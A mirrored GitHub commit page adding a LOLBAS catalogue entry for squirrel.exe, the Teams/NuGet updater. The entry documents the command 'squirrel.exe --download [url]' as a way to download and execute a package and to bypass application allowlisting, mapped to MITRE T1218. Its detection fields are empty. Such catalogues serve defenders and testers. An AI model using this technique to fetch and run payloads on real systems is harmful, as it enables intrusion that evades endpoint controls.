public-mirrors/LOLBAS
1
0
Fork 0
mirror of https://github.com/LOLBAS-Project/LOLBAS synced 2024-12-26 14:59:03 +01:00
Code Issues Projects Releases Wiki Activity

Create squirrel.yml

Browse Source
This commit is contained in:
jreegun 2019-06-27 20:22:35 +08:00 committed by GitHub
parent d26c01fa45
commit c96d22b345
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 47 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

47
yml/OtherMSBinaries/squirrel.yml Normal file
View File

@ -0,0 +1,47 @@
Name: squirrel.exe
Description: Binary to update the existing installed Nuget/squirrel package
Author: User
Created: Installed date
Commands:
- Command: squirrel.exe --download [url to package]
Description: The above binary will go that particular location and look for RELEASES file and download the nuget package.
Usecase: Download and execute binary
Category: Execute
Privileges: User Privilege
MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows OS
- Command: squirrel.exe --download [url to package]
Description: The above binary will go that particular location and look for RELEASES file and download the nuget package.
Usecase: Download and execute binary
Category: AWL Bypass
Privileges: User Privilege
MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 10
- Command: squirrel.exe --download [url to package]
Description: The above binary will go that particular location and look for RELEASES file and download the nuget package.
Usecase: Download and execute binary
Category: Download
Privileges: User Privilege
MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 10
Full_Path:
- Path: NA
- Path: %localappdata%\Microsoft\Teams\current\Squirrel.exe
Code_Sample:
- Code: https://github.com/jreegun/POC-s/tree/master/nuget-squirrel
Detection:
- IOC: NA
- IOC: NA
Resources:
- Link: https://www.youtube.com/watch?v=rOP3hnkj7ls
- Link: https://twitter.com/reegun21/status/1144182772623269889
- Link: NA
Acknowledgement:
- Person: Reegun J (OCBC Bank)
Handle: @reegun21
- Person: NA
Handle: NA
---